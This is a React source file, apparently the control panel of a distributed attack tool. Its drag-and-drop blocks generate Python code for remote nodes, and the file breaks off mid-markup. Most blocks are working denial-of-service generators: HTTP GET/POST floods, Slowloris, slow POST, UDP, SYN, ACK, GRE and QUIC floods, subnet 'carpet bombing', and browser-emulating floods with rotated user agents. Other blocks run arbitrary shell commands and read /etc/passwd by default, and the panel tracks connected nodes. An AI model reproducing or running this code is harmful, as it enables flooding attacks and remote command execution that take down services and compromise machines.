import React, { useState, useEffect, useRef } from 'react'; import { Activity, Terminal, Globe, Server, ShieldCheck, Settings, Download, Play, Wifi, Cpu, Folder, FileText, GripVertical, Trash2 } from 'lucide-react'; import { cn } from './lib/utils'; import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, useSensors } from '@dnd-kit/core'; import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable'; import { CSS } from '@dnd-kit/utilities'; const BLOCK_CONFIGS: Record = { http_probe: { title: 'HTTP GET Probe', color: 'bg-indigo-600', fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}], generator: (p: any) => `def exec_fetch_http_test(ip, port):\n import requests, time\n try:\n t0 = time.time()\n res = requests.get(f"http://{ip}:{port}/", timeout=3)\n return {"status": f"HTTP_{res.status_code}"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))` }, tcp_handshake: { title: 'TCP Handshake', color: 'bg-indigo-600', fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}], generator: (p: any) => `def exec_tcp_probe(ip, port):\n import socket, time\n try:\n t0 = time.time()\n with socket.socket(socket.AF_INET, socket.STREAM) as s:\n s.settimeout(2); s.connect((ip, int(port)))\n return {"status": "tcp_connected"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))` }, exec_shell: { title: 'Execute Shell', color: 'bg-emerald-600', fields: [{key: 'cmd', label: 'Command', default: 'whoami'}], generator: (p: any) => `def exec_shell(cmd):\n import subprocess\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(exec_shell("${p.cmd}"))` }, ping: { title: 'ICMP Ping', color: 'bg-indigo-600', fields: [{key: 'host', label: 'Target Host', default: 'google.com'}], generator: (p: any) => `def icmp_ping(host):\n import subprocess, platform\n cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(icmp_ping("${p.host}"))` }, read_file: { title: 'Read File', color: 'bg-blue-600', fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}], generator: (p: any) => `def read_file(path):\n try:\n with open(path, 'r') as f: return {"content": f.read(4000)}\n except Exception as e:\n return {"error": str(e)}\n\nprint(read_file("${p.path}"))` }, http_get_flood: { title: 'L7 HTTP GET Flood', color: 'bg-rose-600', fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))` }, http_post_flood: { title: 'L7 HTTP POST Flood', color: 'bg-rose-600', fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n import threading, time, requests, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))` }, slowloris: { title: 'L7 Slowloris', color: 'bg-rose-600', fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}], generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n import socket, threading, time, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.05)\n for t in threads: t.join()\n return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` }, api_abuse_flood: { title: 'L7 API Abuse', color: 'bg-rose-600', fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))` }, udp_flood: { title: 'L4 UDP Flood', color: 'bg-orange-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}], generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n import socket, time, os, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(int(packet_size))\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))` }, syn_flood: { title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` }, carpet_bombing: { title: 'L4 Carpet Bombing', color: 'bg-orange-600', fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n import socket, time, os, threading, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(512)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n target_ip = subnet + str(random.randint(1, 254))\n try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))` }, websocket_flood: { title: 'L7 WebSocket Abuse', color: 'bg-rose-600', fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}], generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))` }, ack_flood: { title: 'L4 ACK Flood', color: 'bg-orange-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` }, connection_exhaustion: { title: 'L4 State Exhaustion', color: 'bg-orange-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n sockets = []\n while time.time() < t_end:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n if len(sockets) > 500: sockets.pop(0).close()\n except: stats["errors"] += 1\n for s in sockets:\n try: s.close()\n except: pass\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` }, gre_flood: { title: 'L3/L4 GRE Flood', color: 'bg-orange-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}], generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n except: stats["errors"] += 1; return\n payload = os.urandom(int(pkt_size))\n while time.time() < t_end:\n try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))` }, http3_quic_flood: { title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n import socket, time, threading, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` }, http2_multiplex: { title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600', fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}], generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try:\n session = requests.Session()\n for _ in range(20):\n if time.time() >= t_end: break\n session.get(url, timeout=2)\n stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))` }, browser_emulation: { title: 'L7 Browser Emulation', color: 'bg-rose-600', fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}], generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n user_agents = [\n "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n ]\n def worker():\n session = requests.Session()\n while time.time() < t_end:\n try:\n headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n session.get(url, headers=headers, timeout=5)\n stats["sent"] += 1\n time.sleep(random.uniform(0.1, 0.8))\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))` }, slow_post_flood: { title: 'L7 Slow POST (Body Exhaustion)', color: 'bg-rose-600', fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}], generator: (p: any) => `def slow_post(ip, port, duration, threads_count):\n import socket, threading, time\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"POST / HTTP/1.1\\r\\nHost: {ip}\\r\\nContent-Length: 100000\\r\\n\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(b"a")\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.1)\n for t in threads: t.join()\n return stats\n\nprint(slow_post("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))` } }; const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => { const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id }); const style = { transform: CSS.Transform.toString(transform), transition, }; const config = BLOCK_CONFIGS[type]; if (!config) return null; return (
{config.title}
{config.fields.map((f: any) => (
onUpdate(id, f.key, e.target.value)} className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner" />
))}
); }; export default function App() { const [activeTab, setActiveTab] = useState('dashboard'); const [deployments, setDeployments] = useState([]); const [deployLogs, setDeployLogs] = useState([]); const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]); const [iframeKey, setIframeKey] = useState(0); const prevNodesRef = useRef(new Map()); const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => { const id = Math.random().toString(); setToasts(t => [...t, {id, msg, type}]); setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000); }; useEffect(() => { const fetchStatus = async () => { try { const res = await fetch('/api/status'); const json = await res.json(); setDeployments(json.deployments || []); if (json.deployLogs) setDeployLogs(json.deployLogs); // Handle node online/offline toasts if (json.nodes) { const currentNodes = new Map(); json.nodes.forEach((n: any) => { const isActive = Date.now() - n.lastSeen < 20000; currentNodes.set(n.id, isActive); const wasActive = prevNodesRef.current.get(n.id); if (wasActive === undefined) { addToast(`New Node Connected: ${n.id} (${n.type})`, 'success'); } else if (!wasActive && isActive) { addToast(`Node Online: ${n.id}`, 'success'); } else if (wasActive && !isActive) { addToast(`Node Offline: ${n.id}`, 'warning'); } }); prevNodesRef.current = currentNodes; } } catch (err) {} }; fetchStatus(); const iv = setInterval(fetchStatus, 5000); return () => clearInterval(iv); }, []); return (
{/* Toast Container */}
{toasts.map(t => (
{t.msg}
))}
{deployments.map(url => (